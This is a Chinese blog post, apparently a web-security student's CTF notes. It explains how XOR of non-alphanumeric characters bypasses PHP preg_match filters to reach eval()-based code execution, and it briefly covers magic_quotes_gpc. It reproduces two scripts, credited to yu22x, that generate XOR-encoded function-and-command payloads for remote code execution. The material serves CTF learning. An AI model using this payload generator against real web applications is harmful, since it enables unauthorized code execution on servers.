suyumen
目前主要在学习web相关

php异或计算

2021-07-03 异或绕过
Word count: 620 | Reading time: 3min

绕过原理

1.字符异或计算。

2.如eval()函数在执行时,如果内部有计算式,会先进行计算再执行函数。

常用场景

1.eval()命令执行;
2.正则未过滤异或计算符。

magic_quotes_gpc()函数

https://www.php.net/manual/zh/function.get-magic-quotes-gpc.php

版本:PHP 4,PHP 5,PHP 7
get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
自PHP 7.4.0 起废弃。 强烈建议不要使用本函数。

在php的配置文件中,有个布尔值的设置magic_quotes_runtime,当它打开时,php的大部分函数自动的给从外部引入的(包括数据库或者文件)数据中的溢出字符加上\。
对于重复给溢出字符加\时用set_magic_quotes_runtime()get_magic_quotes_runtime()设置和检测php.inimagic_quotes_runtime的状态。
一般在程序开始用get_magic_quotes_runtime()检测该设置的状态,或者用set_magic_quotes_runtime(0)关掉该设置。

magic_quotes_gpc设置是否自动为get,post,cookie传来的数据中的'"\\加上反斜线。可以用get_magic_quotes_gpc()检测系统设置。对于数据库,可使用addslashes()添加。

一般用法

1
2
3
4
if(!get_magic_quotes_gpc())
{
addslashes($prot);
}

脚本

https://www.wangt.cc/2020/10/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97%E7%BB%95%E8%BF%87%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93%EF%BC%88%E5%90%AB%E4%B8%8A%E4%BC%A0%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(""+s1+""^""+s2+"")"
return(output)

while True:
param=action(input("n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

参考

php异或计算绕过preg_match()

get_magic_quotes_gpc() 你到底是做什么的?

Author: suyumen

Link: https://suyumen.github.io/2021/07/03/2021-07-06-php%E5%BC%82%E6%88%96%E8%AE%A1%E7%AE%97/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
羊城杯2020Easyphp2
NextPost >
NCTF-2019-SQLi
CATALOG
  1. 1. 绕过原理
  2. 2. 常用场景
  3. 3. magic_quotes_gpc()函数
  4. 4. 脚本
    1. 4.1. 参考